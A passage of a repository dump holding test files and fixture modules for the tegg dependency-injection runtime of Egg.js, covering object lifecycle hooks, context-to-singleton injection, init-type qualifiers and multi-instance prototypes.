Bar;\n        // get obj from class\n        const barObj2 = await EggContainerFactory.getOrCreateEggObjectFromClazz((barProto as any).clazz, barProto.name);\n        assert.equal(barObj2, barObj);\n        assert.equal(barObj2.obj, barObj.obj);\n\n        // get obj from name\n        const barObj3 = await EggContainerFactory.getOrCreateEggObjectFromName('bar');\n        assert.equal(barObj3, barObj);\n        assert.equal(barObj3.obj, barObj.obj);\n\n        await TestUtil.destroyLoadUnitInstance(instance);\n        const called = bar.getLifecycleCalled();\n        assert.deepStrictEqual(called, [\n          'construct',\n          'postConstruct',\n          'preInject',\n          'postInject',\n          'init',\n          'preDestroy',\n          'destroy',\n        ]);\n      });\n    });\n  });\n\n  describe('inject context to singleton', () => {\n    it('should work', async () => {\n      mock.method(ContextHandler, 'getContext', () => {\n        return;\n      });\n      const instance = await TestUtil.createLoadUnitInstance('inject-context-to-singleton');\n      const barProto = EggPrototypeFactory.instance.getPrototype('singletonBar');\n      mock.method(ContextHandler, 'getContext', () => {\n        return ctx;\n      });\n      const barObj = await EggContainerFactory.getOrCreateEggObject(barProto, barProto.name);\n      const bar = barObj.obj as SingletonBar;\n      const msg = await bar.hello();\n      assert(msg === 'hello from depth2');\n      await TestUtil.destroyLoadUnitInstance(instance);\n      await ctx.destroy({});\n    });\n  });\n\n  describe('constructor inject context to singleton', () => {\n    it('should work', async () => {\n      mock.method(ContextHandler, 'getContext', () => {\n        return;\n      });\n      const instance = await TestUtil.createLoadUnitInstance('inject-constructor-context-to-singleton');\n      const barProto = EggPrototypeFactory.instance.getPrototype('singletonConstructorBar');\n      mock.method(ContextHandler, 'getContext', () => {\n        return ctx;\n      });\n      const barObj = await EggContainerFactory.getOrCreateEggObject(barProto, barProto.name);\n      const bar = barObj.obj as SingletonConstructorBar;\n      const msg = await bar.hello();\n      assert(msg === 'hello from depth2');\n      await TestUtil.destroyLoadUnitInstance(instance);\n      await ctx.destroy({});\n    });\n  });\n\n  describe('property mock', () => {\n    beforeEach(() => {\n      mock.method(ContextHandler, 'getContext', () => {\n        return ctx;\n      });\n    });\n\n    it('should work', async () => {\n      const instance = await TestUtil.createLoadUnitInstance('extends-module');\n      const barProto = EggPrototypeFactory.instance.getPrototype('bar', instance.loadUnit);\n      const barObj = await EggContainerFactory.getOrCreateEggObject(barProto, barProto.name);\n      const bar = barObj.obj as ExtendsBar;\n      const foo = {};\n      mock.getter(bar, 'foo', () => foo);\n      assert.equal(bar.foo, foo);\n\n      await TestUtil.destroyLoadUnitInstance(instance);\n      await ctx.destroy({});\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/core/runtime/test/EggObjectUtil.test.ts",
    "content": "import assert from 'node:assert';\nimport { mock } from 'node:test';\n\nimport { EggPrototypeFactory } from '@eggjs/metadata';\nimport { describe, beforeEach, afterEach, it } from 'vitest';\n\nimport { EggObjectUtil, ContextHandler } from '../src/index.js';\nimport { EggTestContext } from './fixtures/EggTestContext.js';\nimport TestUtil from './util.js';\n\ndescribe('test/EggObjectUtil.test.ts', () => {\n  let ctx: EggTestContext;\n\n  beforeEach(() => {\n    ctx = new EggTestContext();\n    mock.method(ContextHandler, 'getContext', () => {\n      return ctx;\n    });\n  });\n\n  afterEach(() => {\n    mock.reset();\n  });\n\n  it('should name should has self descriptor', async () => {\n    const instance = await TestUtil.createLoadUnitInstance('lifecycle-hook');\n    const fooProto = EggPrototypeFactory.instance.getPrototype('foo');\n    const fooDesc = EggObjectUtil.contextEggObjectGetProperty(fooProto, 'foo');\n    const barDesc = EggObjectUtil.contextEggObjectGetProperty(fooProto, 'bar');\n    assert.notEqual(fooDesc, barDesc);\n    await TestUtil.destroyLoadUnitInstance(instance);\n  });\n});\n"
  },
  {
    "path": "tegg/core/runtime/test/LoadUnitInstance.test.ts",
    "content": "import assert from 'node:assert';\nimport path from 'node:path';\nimport { mock } from 'node:test';\n\nimport { EggPrototypeFactory } from '@eggjs/metadata';\nimport { LoaderUtil } from '@eggjs/module-test-util';\nimport { type LoadUnitInstance } from '@eggjs/tegg-types';\nimport { describe, beforeEach, afterEach, beforeAll, afterAll, it } from 'vitest';\n\nimport { EggContainerFactory } from '../src/index.js';\nimport { ContextHandler } from '../src/model/ContextHandler.js';\nimport { EggContextStorage } from './fixtures/EggContextStorage.js';\nimport { EggTestContext } from './fixtures/EggTestContext.ts';\nimport { Bar, Foo } from './fixtures/modules/extends-module/Base.js';\nimport CountController from './fixtures/modules/module-for-load-unit-instance/CountController.js';\nimport { FOO_ATTRIBUTE, FooLogger } from './fixtures/modules/multi-instance-module/MultiInstance.js';\nimport { FooLoggerConstructor } from './fixtures/modules/multi-instance-module/MultiInstanceConstructor.js';\nimport AppService from './fixtures/modules/multi-module/multi-module-service/AppService.js';\nimport TestUtil from './util.js';\n\ndescribe('test/LoadUnit/LoadUnitInstance.test.ts', () => {\n  describe('ModuleLoadUnitInstance', () => {\n    let ctx: EggTestContext;\n\n    beforeEach(() => {\n      ctx = new EggTestContext();\n      mock.method(ContextHandler, 'getContext', () => {\n        return ctx;\n      });\n    });\n\n    afterEach(async () => {\n      await ctx.destroy({});\n      mock.reset();\n    });\n\n    it('should create success', async () => {\n      const instance = await TestUtil.createLoadUnitInstance('module-for-load-unit-instance');\n      const countControllerProto = EggPrototypeFactory.instance.getPrototype('countController');\n      const countControllerObj = await EggContainerFactory.getOrCreateEggObject(\n        countControllerProto,\n        countControllerProto.name,\n      );\n      const countController = countControllerObj.obj as CountController;\n      const countResult = await countController.getCount();\n      assert.deepStrictEqual(countResult, {\n        serviceCount: 0,\n        serviceTempCount: 0,\n        controllerTempCount: 0,\n      });\n\n      const countResult2 = await countController.getCount();\n      assert.deepStrictEqual(countResult2, {\n        serviceCount: 1,\n        serviceTempCount: 1,\n        controllerTempCount: 1,\n      });\n\n      await TestUtil.destroyLoadUnitInstance(instance);\n    });\n\n    it('should load extends class success', async () => {\n      const instance = await TestUtil.createLoadUnitInstance('extends-module');\n      const barProto = EggPrototypeFactory.instance.getPrototype('bar', instance.loadUnit);\n      const barObj = await EggContainerFactory.getOrCreateEggObject(barProto, barProto.name);\n      const bar = barObj.obj as Bar;\n\n      const fooProto = EggPrototypeFactory.instance.getPrototype('foo', instance.loadUnit);\n      const fooObj = await EggContainerFactory.getOrCreateEggObject(fooProto, fooProto.name);\n      const foo = fooObj.obj as Foo;\n      assert(bar.foo);\n      assert(bar.logger);\n      assert(foo.logger);\n      await TestUtil.destroyLoadUnitInstance(instance);\n    });\n\n    it.skip('should load multi instance', async () => {\n      const instance = await TestUtil.createLoadUnitInstance('multi-instance-module');\n      const foo1Proto = EggPrototypeFactory.instance.getPrototype('foo', instance.loadUnit, [\n        {\n          attribute: FOO_ATTRIBUTE,\n          value: 'foo1',\n        },\n      ]);\n      const foo1Obj = await EggContainerFactory.getOrCreateEggObject(foo1Proto, foo1Proto.name);\n      const foo1 = foo1Obj.obj as FooLogger;\n\n      const foo2Proto = EggPrototypeFactory.instance.getPrototype('foo', instance.loadUnit, [\n        {\n          attribute: FOO_ATTRIBUTE,\n          value: 'foo2',\n        },\n      ]);\n      const foo2Obj = await EggContainerFactory.getOrCreateEggObject(foo2Proto, foo2Proto.name);\n      const foo2 = foo2Obj.obj as FooLogger;\n      assert(foo1);\n      assert(foo2);\n      assert(foo1 !== foo2);\n      assert(foo1.loadUnitPath);\n      assert.equal(foo1.foo, 'foo1');\n      assert(foo2.loadUnitPath);\n      assert.equal(foo2.foo, 'foo2');\n\n      const obj1 = await EggContainerFactory.getOrCreateEggObjectFromClazz(FooLogger, 'foo', [\n        {\n          attribute: FOO_ATTRIBUTE,\n          value: 'foo1',\n        },\n      ]);\n      const obj2 = await EggContainerFactory.getOrCreateEggObjectFromClazz(FooLogger, 'foo', [\n        {\n          attribute: FOO_ATTRIBUTE,\n          value: 'foo2',\n        },\n      ]);\n      assert(foo1Obj === obj1);\n      assert(foo2Obj === obj2);\n\n      await TestUtil.destroyLoadUnitInstance(instance);\n    });\n\n    it.skip('should load multi instance with constructor', async () => {\n      const instance = await TestUtil.createLoadUnitInstance('multi-instance-module');\n      const foo1Proto = EggPrototypeFactory.instance.getPrototype('fooConstructor', instance.loadUnit, [\n        {\n          attribute: FOO_ATTRIBUTE,\n          value: 'foo1',\n        },\n      ]);\n      const foo1Obj = await EggContainerFactory.getOrCreateEggObject(foo1Proto, foo1Proto.name);\n      const foo1 = foo1Obj.obj as FooLoggerConstructor;\n\n      const foo2Proto = EggPrototypeFactory.instance.getPrototype('fooConstructor', instance.loadUnit, [\n        {\n          attribute: FOO_ATTRIBUTE,\n          value: 'foo2',\n        },\n      ]);\n      const foo2Obj = await EggContainerFactory.getOrCreateEggObject(foo2Proto, foo2Proto.name);\n      const foo2 = foo2Obj.obj as FooLoggerConstructor;\n      assert(foo1);\n      assert(foo2);\n      assert(foo1 !== foo2);\n      assert(foo1.foo === 'foo1');\n      assert(foo2.foo === 'foo2');\n      assert(foo1.bar === 'bar');\n      assert(foo2.foo === 'foo2');\n\n      const obj1 = await EggContainerFactory.getOrCreateEggObjectFromClazz(FooLogger, 'fooConstructor', [\n        {\n          attribute: FOO_ATTRIBUTE,\n          value: 'foo1',\n        },\n      ]);\n      const obj2 = await EggContainerFactory.getOrCreateEggObjectFromClazz(FooLogger, 'fooConstructor', [\n        {\n          attribute: FOO_ATTRIBUTE,\n          value: 'foo2',\n        },\n      ]);\n      assert(foo1Obj === obj1);\n      assert(foo2Obj === obj2);\n\n      await TestUtil.destroyLoadUnitInstance(instance);\n    });\n  });\n\n  describe('MultiModule', () => {\n    let commonInstance: LoadUnitInstance;\n    let repoInstance: LoadUnitInstance;\n    let serviceInstance: LoadUnitInstance;\n\n    beforeAll(async () => {\n      EggContextStorage.register();\n      await LoaderUtil.buildGlobalGraph([\n        path.join(__dirname, 'fixtures/modules/multi-module/multi-module-common'),\n        path.join(__dirname, 'fixtures/modules/multi-module/multi-module-repo'),\n        path.join(__dirname, 'fixtures/modules/multi-module/multi-module-service'),\n      ]);\n      commonInstance = await TestUtil.createLoadUnitInstance('multi-module/multi-module-common', false);\n      repoInstance = await TestUtil.createLoadUnitInstance('multi-module/multi-module-repo', false);\n      serviceInstance = await TestUtil.createLoadUnitInstance('multi-module/multi-module-service', false);\n    });\n\n    afterAll(async () => {\n      await TestUtil.destroyLoadUnitInstance(commonInstance);\n      await TestUtil.destroyLoadUnitInstance(repoInstance);\n      await TestUtil.destroyLoadUnitInstance(serviceInstance);\n    });\n\n    it('should get appService', async () => {\n      const saveCtx = new EggTestContext();\n      const findCtx = new EggTestContext();\n      const saveAppServiceProto = EggPrototypeFactory.instance.getPrototype('appService', serviceInstance.loadUnit);\n      const [saveAppService, findAppService] = await Promise.all([\n        ContextHandler.run(saveCtx, async () => {\n          const saveAppServiceObj = await EggContainerFactory.getOrCreateEggObject(\n            saveAppServiceProto,\n            saveAppServiceProto.name,\n          );\n          const saveAppService = saveAppServiceObj.obj as AppService;\n          await saveAppService.save({\n            name: 'mock-app',\n            desc: 'mock-desc',\n          });\n          return saveAppService;\n        }),\n        ContextHandler.run(findCtx, async () => {\n          const findAppServiceObj = await EggContainerFactory.getOrCreateEggObject(\n            saveAppServiceProto,\n            saveAppServiceProto.name,\n          );\n          const findAppService = findAppServiceObj.obj as AppService;\n          return findAppService;\n        }),\n      ]);\n      // not same service because ctx is different\n      assert(saveAppService !== findAppService);\n\n      const app = await findAppService.findApp('mock-app');\n      assert.deepStrictEqual(app, {\n        name: 'mock-app',\n        desc: 'mock-desc',\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/core/runtime/test/QualifierLoadUnitInstance.test.ts",
    "content": "import assert from 'node:assert';\nimport { mock } from 'node:test';\n\nimport { EggPrototypeFactory } from '@eggjs/metadata';\nimport { describe, beforeEach, afterEach, it } from 'vitest';\n\nimport { EggContainerFactory, ContextHandler } from '../src/index.js';\nimport { EggTestContext } from './fixtures/EggTestContext.js';\nimport CacheService from './fixtures/modules/init-type-qualifier-module/CacheService.js';\nimport TestUtil from './util.js';\n\ndescribe('test/LoadUnit/QualifierLoadUnitInstance.test.ts', () => {\n  let ctx: EggTestContext;\n\n  beforeEach(() => {\n    ctx = new EggTestContext();\n    mock.method(ContextHandler, 'getContext', () => {\n      return ctx;\n    });\n  });\n\n  afterEach(async () => {\n    await ctx.destroy({});\n    mock.reset();\n  });\n\n  describe('init type qualifier', () => {\n    it('should work', async () => {\n      const instance = await TestUtil.createLoadUnitInstance('init-type-qualifier-module');\n      const cacheServiceProto = EggPrototypeFactory.instance.getPrototype('cacheService', instance.loadUnit);\n      const cacheServiceObj = await EggContainerFactory.getOrCreateEggObject(cacheServiceProto, cacheServiceProto.name);\n      const cacheService = cacheServiceObj.obj as CacheService;\n      cacheService.setContextCache('cacheKey', 'cacheVal');\n      cacheService.setSingletonCache('cacheKey', 'cacheVal');\n      const contextCache = cacheService.getContextCache('cacheKey');\n      assert.deepStrictEqual(contextCache, {\n        val: 'cacheVal',\n        from: 'context',\n      });\n      const singletonCache = cacheService.getSingletonCache('cacheKey');\n      assert.deepStrictEqual(singletonCache, {\n        val: 'cacheVal',\n        from: 'singleton',\n      });\n\n      await TestUtil.destroyLoadUnitInstance(instance);\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/core/runtime/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should export stable 1`] = `\n{\n  \"AbstractEggContext\": [Function],\n  \"ContextHandler\": [Function],\n  \"ContextInitiator\": [Function],\n  \"ContextObjectGraph\": [Function],\n  \"EggAlwaysNewObjectContainer\": [Function],\n  \"EggContainerFactory\": [Function],\n  \"EggContextLifecycleUtil\": LifecycleUtil {\n    \"lifecycleSet\": Set {},\n    \"objLifecycleSet\": Map {},\n  },\n  \"EggObjectFactory\": [Function],\n  \"EggObjectImpl\": [Function],\n  \"EggObjectLifecycleUtil\": LifecycleUtil {\n    \"lifecycleSet\": Set {},\n    \"objLifecycleSet\": Map {},\n  },\n  \"EggObjectStatus\": {\n    \"DESTROYED\": \"DESTROYED\",\n    \"DESTROYING\": \"DESTROYING\",\n    \"ERROR\": \"ERROR\",\n    \"PENDING\": \"PENDING\",\n    \"READY\": \"READY\",\n  },\n  \"EggObjectUtil\": [Function],\n  \"LoadUnitInstanceFactory\": [Function],\n  \"LoadUnitInstanceLifecycleUtil\": LifecycleUtil {\n    \"lifecycleSet\": Set {},\n    \"objLifecycleSet\": Map {},\n  },\n  \"ModuleLoadUnitInstance\": [Function],\n}\n`;\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/EggContextStorage.ts",
    "content": "import { AsyncLocalStorage } from 'node:async_hooks';\n\nimport type { EggRuntimeContext } from '@eggjs/tegg-types';\n\nimport { ContextHandler } from '../../src/index.ts';\n\nexport class EggContextStorage {\n  static storage: AsyncLocalStorage<EggRuntimeContext> = new AsyncLocalStorage();\n\n  static register(): void {\n    ContextHandler.getContextCallback = () => {\n      return EggContextStorage.storage.getStore();\n    };\n    ContextHandler.runInContextCallback = (context: EggRuntimeContext, fn: () => Promise<any>) => {\n      return EggContextStorage.storage.run(context, fn);\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/EggTestContext.ts",
    "content": "import { IdenticalUtil } from '@eggjs/lifecycle';\n\nimport { AbstractEggContext } from '../../src/index.ts';\n\nconst EGG_CTX = Symbol('TEgg#context');\n\nexport interface Tracer {\n  readonly traceId: string;\n}\n\nexport class EggTestContext extends AbstractEggContext {\n  data: Map<string | symbol, any> = new Map();\n  readonly id: string;\n\n  constructor() {\n    super();\n    const mockCtx = {\n      tracer: {\n        traceId: 'mock-traceId',\n      },\n    };\n    this.id = IdenticalUtil.createContextId();\n    this.set(EGG_CTX, mockCtx);\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/modules/extends-module/Base.ts",
    "content": "import { ContextProto, Inject } from '@eggjs/core-decorator';\n\n@ContextProto()\nexport class Logger {}\n\n@ContextProto()\nexport class Base {\n  @Inject()\n  logger: Logger;\n}\n\n@ContextProto()\nexport class Foo extends Base {}\n\n@ContextProto()\nexport class Bar extends Base {\n  @Inject()\n  foo: Foo;\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/modules/extends-module/package.json",
    "content": "{\n  \"name\": \"multi-module-service\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"extendsModule\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/modules/init-type-qualifier-module/Cache.ts",
    "content": "export interface CacheValue {\n  from: string;\n  val: string | undefined;\n}\n\nexport interface ICache {\n  get(key: string): CacheValue;\n  set(key: string, val: string): void;\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/modules/init-type-qualifier-module/CacheService.ts",
    "content": "import { ContextProto, InitTypeQualifier, Inject } from '@eggjs/core-decorator';\nimport { ObjectInitType } from '@eggjs/tegg-types';\n\nimport type { ICache, CacheValue } from './Cache.ts';\n\n@ContextProto()\nexport default class CacheService {\n  @InitTypeQualifier(ObjectInitType.SINGLETON)\n  @Inject({ name: 'cache' })\n  singletonCache: ICache;\n\n  @InitTypeQualifier(ObjectInitType.CONTEXT)\n  @Inject({ name: 'cache' })\n  contextCache: ICache;\n\n  setSingletonCache(key: string, val: string): void {\n    this.singletonCache.set(key, val);\n  }\n\n  getSingletonCache(key: string): CacheValue {\n    return this.singletonCache.get(key);\n  }\n\n  setContextCache(key: string, val: string): void {\n    this.contextCache.set(key, val);\n  }\n\n  getContextCache(key: string): CacheValue {\n    return this.contextCache.get(key);\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/modules/init-type-qualifier-module/ContextCache.ts",
    "content": "import { ContextProto } from '@eggjs/core-decorator';\n\nimport type { ICache, CacheValue } from './Cache.ts';\n\n@ContextProto({\n  name: 'cache',\n})\nexport default class ContextCache implements ICache {\n  private map = new Map();\n\n  get(key: string): CacheValue {\n    const val = this.map.get(key);\n    return {\n      val,\n      from: 'context',\n    };\n  }\n\n  set(key: string, val: string): void {\n    this.map.set(key, val);\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/modules/init-type-qualifier-module/SingletonCache.ts",
    "content": "import { SingletonProto } from '@eggjs/core-decorator';\n\nimport type { ICache, CacheValue } from './Cache.ts';\n\n@SingletonProto({\n  name: 'cache',\n})\nexport default class SingletonCache implements ICache {\n  private map = new Map();\n\n  get(key: string): CacheValue {\n    const val = this.map.get(key);\n    return {\n      val,\n      from: 'singleton',\n    };\n  }\n\n  set(key: string, val: string): void {\n    this.map.set(key, val);\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/modules/init-type-qualifier-module/package.json",
    "content": "{\n  \"name\": \"demo-app-repo\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"init-type-qualifier-module\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/modules/inject-constructor-context-to-singleton/object.ts",
    "content": "import { ContextProto, Inject, SingletonProto } from '@eggjs/core-decorator';\nimport { AccessLevel } from '@eggjs/tegg-types';\n\n@ContextProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class ContextFooDepth2 {\n  async hello(): Promise<string> {\n    return 'hello from depth2';\n  }\n}\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class SingletonConstructorBarDepth3 {\n  // @ts-expect-error: readonly property in constructor\n  constructor(@Inject() readonly contextFooDepth2: ContextFooDepth2) {}\n\n  async hello(): Promise<string> {\n    return this.contextFooDepth2.hello();\n  }\n}\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class SingletonBarConstructorDepth2 {\n  constructor(\n    // @ts-expect-error: readonly property in constructor\n    @Inject() readonly singletonConstructorBarDepth3: SingletonConstructorBarDepth3,\n  ) {}\n\n  async hello(): Promise<string> {\n    return this.singletonConstructorBarDepth3.hello();\n  }\n}\n\n@ContextProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class ContextConstructorFoo {\n  constructor(\n    // @ts-expect-error: readonly property in constructor\n    @Inject() readonly singletonBarConstructorDepth2: SingletonBarConstructorDepth2,\n  ) {}\n\n  async hello(): Promise<string> {\n    return this.singletonBarConstructorDepth2.hello();\n  }\n}\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class SingletonConstructorBar {\n  // @ts-expect-error: readonly property in constructor\n  constructor(@Inject() readonly contextConstructorFoo: ContextConstructorFoo) {}\n\n  async hello(): Promise<string> {\n    return this.contextConstructorFoo.hello();\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/modules/inject-constructor-context-to-singleton/package.json",
    "content": "{\n  \"name\": \"multi-module-service\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"extendsModule\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/modules/inject-context-to-singleton/object.ts",
    "content": "import { ContextProto, Inject, SingletonProto } from '@eggjs/core-decorator';\nimport { AccessLevel } from '@eggjs/tegg-types';\n\n@ContextProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class ContextFooDepth2 {\n  async hello(): Promise<string> {\n    return 'hello from depth2';\n  }\n}\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class SingletonBarDepth3 {\n  @Inject()\n  contextFooDepth2: ContextFooDepth2;\n\n  async hello(): Promise<string> {\n    return this.contextFooDepth2.hello();\n  }\n}\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class SingletonBarDepth2 {\n  @Inject()\n  singletonBarDepth3: SingletonBarDepth3;\n\n  async hello(): Promise<string> {\n    return this.singletonBarDepth3.hello();\n  }\n}\n\n@ContextProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class ContextFoo {\n  @Inject()\n  private readonly singletonBarDepth2: SingletonBarDepth2;\n\n  async hello(): Promise<string> {\n    return this.singletonBarDepth2.hello();\n  }\n}\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class SingletonBar {\n  @Inject()\n  foo: ContextFoo;\n\n  async hello(): Promise<string> {\n    return this.foo.hello();\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/modules/inject-context-to-singleton/package.json",
    "content": "{\n  \"name\": \"multi-module-service\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"extendsModule\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/modules/lifecycle-hook/object.ts",
    "content": "import { ContextProto, SingletonProto } from '@eggjs/core-decorator';\nimport {\n  LifecyclePostConstruct,\n  LifecyclePreInject,\n  LifecyclePostInject,\n  LifecycleInit,\n  LifecyclePreDestroy,\n  LifecycleDestroy,\n} from '@eggjs/lifecycle';\nimport { AccessLevel, type EggObjectLifecycle } from '@eggjs/tegg-types';\n\n@ContextProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class Foo implements EggObjectLifecycle {\n  private called: string[] = [];\n\n  getLifecycleCalled(): string[] {\n    return this.called;\n  }\n\n  constructor() {\n    this.called.push('construct');\n  }\n\n  async postConstruct(): Promise<void> {\n    this.called.push('postConstruct');\n  }\n\n  async preInject(): Promise<void> {\n    this.called.push('preInject');\n  }\n\n  async postInject(): Promise<void> {\n    this.called.push('postInject');\n  }\n\n  async init(): Promise<void> {\n    this.called.push('init');\n  }\n\n  async preDestroy(): Promise<void> {\n    this.called.push('preDestroy');\n  }\n\n  async destroy(): Promise<void> {\n    this.called.push('destroy');\n  }\n}\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class Bar {\n  private called: string[] = [];\n\n  getLifecycleCalled(): string[] {\n    return this.called;\n  }\n\n  constructor() {\n    this.called.push('construct');\n  }\n\n  @LifecyclePostConstruct()\n  protected async _postConstruct(): Promise<void> {\n    this.called.push('postConstruct');\n  }\n\n  @LifecyclePreInject()\n  protected async _preInject(): Promise<void> {\n    this.called.push('preInject');\n  }\n\n  @LifecyclePostInject()\n  protected async _postInject(): Promise<void> {\n    this.called.push('postInject');\n  }\n\n  protected async init(): Promise<void> {\n    this.called.push('init should not called');\n  }\n\n  @LifecycleInit()\n  protected async _init(): Promise<void> {\n    this.called.push('init');\n  }\n\n  @LifecyclePreDestroy()\n  protected async _preDestroy(): Promise<void> {\n    this.called.push('preDestroy');\n  }\n\n  @LifecycleDestroy()\n  protected async _destroy(): Promise<void> {\n    this.called.push('destroy');\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/modules/lifecycle-hook/package.json",
    "content": "{\n  \"name\": \"multi-module-service\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"extendsModule\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/modules/module-for-load-unit-instance/AppCache.ts",
    "content": "import { SingletonProto } from '@eggjs/core-decorator';\n\n@SingletonProto()\nexport default class AppCache {\n  count = 0;\n\n  async getCount(): Promise<number> {\n    return this.count++;\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/modules/module-for-load-unit-instance/CountController.ts",
    "content": "import { ContextProto, Inject } from '@eggjs/core-decorator';\nimport { AccessLevel } from '@eggjs/tegg-types';\n\nimport CountService from './CountService.js';\nimport TempObj from './TempObj.js';\n\ninterface CountResult {\n  serviceCount: number;\n  serviceTempCount: number;\n  controllerTempCount: number;\n  // traceId: string;\n}\n\n@ContextProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class CountController {\n  @Inject()\n  countService: CountService;\n\n  @Inject()\n  tempObj: TempObj;\n\n  async getCount(): Promise<CountResult> {\n    const count = await this.countService.getCount();\n    const serviceTempCount = await this.countService.getTempCount();\n    return {\n      serviceCount: count,\n      serviceTempCount,\n      controllerTempCount: await this.tempObj.getCount(),\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/modules/module-for-load-unit-instance/CountService.ts",
    "content": "import { ContextProto, Inject } from '@eggjs/core-decorator';\n\nimport AppCache from './AppCache.js';\nimport TempObj from './TempObj.js';\n\n@ContextProto()\nexport default class CountService {\n  @Inject()\n  appCache: AppCache;\n\n  @Inject()\n  tempObj: TempObj;\n\n  async getCount(): Promise<number> {\n    return this.appCache.getCount();\n  }\n\n  async getTempCount(): Promise<number> {\n    return this.tempObj.getCount();\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/modules/module-for-load-unit-instance/TempObj.ts",
    "content": "import { Prototype } from '@eggjs/core-decorator';\nimport { ObjectInitType } from '@eggjs/tegg-types';\n\n@Prototype({\n  initType: ObjectInitType.ALWAYS_NEW,\n})\nexport default class TempObj {\n  count = 0;\n\n  async getCount(): Promise<number> {\n    return this.count++;\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/modules/module-for-load-unit-instance/package.json",
    "content": "{\n  \"name\": \"demo-app-repo\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"app-repo\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/modules/multi-instance-module/MultiInstance.ts",
    "content": "import { MultiInstanceProto } from '@eggjs/core-decorator';\nimport { LifecycleInit } from '@eggjs/lifecycle';\nimport {\n  AccessLevel,\n  ObjectInitType,\n  type QualifierValue,\n  type EggObject,\n  type EggObjectLifeCycleContext,\n} from '@eggjs/tegg-types';\n\nexport const FOO_ATTRIBUTE: symbol = Symbol.for('FOO_ATTRIBUTE');\n\n@MultiInstanceProto({\n  accessLevel: AccessLevel.PUBLIC,\n  initType: ObjectInitType.SINGLETON,\n  objects: [\n    {\n      name: 'foo',\n      qualifiers: [\n        {\n          attribute: FOO_ATTRIBUTE,\n          value: 'foo1',\n        },\n      ],\n    },\n    {\n      name: 'foo',\n      qualifiers: [\n        {\n          attribute: FOO_ATTRIBUTE,\n          value: 'foo2',\n        },\n      ],\n    },\n  ],\n})\nexport class FooLogger {\n  loadUnitPath: string;\n  foo: QualifierValue | undefined;\n\n  @LifecycleInit()\n  async init(ctx: EggObjectLifeCycleContext, obj: EggObject): Promise<void> {\n    this.loadUnitPath = ctx.loadUnit.unitPath;\n    this.foo = obj.proto.getQualifier(FOO_ATTRIBUTE);\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/modules/multi-instance-module/MultiInstanceConstructor.ts",
    "content": "import { Inject, MultiInstanceInfo, MultiInstanceProto, SingletonProto } from '@eggjs/core-decorator';\nimport { AccessLevel, ObjectInitType, type QualifierValue, type ObjectInfo } from '@eggjs/tegg-types';\n\nexport const FOO_ATTRIBUTE: symbol = Symbol.for('FOO_ATTRIBUTE');\n\n@SingletonProto()\nexport class Bar {\n  bar = 'bar';\n}\n\n@MultiInstanceProto({\n  accessLevel: AccessLevel.PUBLIC,\n  initType: ObjectInitType.SINGLETON,\n  objects: [\n    {\n      name: 'fooConstructor',\n      qualifiers: [\n        {\n          attribute: FOO_ATTRIBUTE,\n          value: 'foo1',\n        },\n      ],\n    },\n    {\n      name: 'fooConstructor',\n      qualifiers: [\n        {\n          attribute: FOO_ATTRIBUTE,\n          value: 'foo2',\n        },\n      ],\n    },\n  ],\n})\nexport class FooLoggerConstructor {\n  foo: QualifierValue | undefined;\n  bar: string;\n\n  constructor(@Inject() bar: Bar, @MultiInstanceInfo([FOO_ATTRIBUTE]) objInfo: ObjectInfo) {\n    this.foo = objInfo.qualifiers.find((t) => t.attribute === FOO_ATTRIBUTE)?.value;\n    this.bar = bar.bar;\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/test/fixtures/modules/multi-instance-module/package.json",
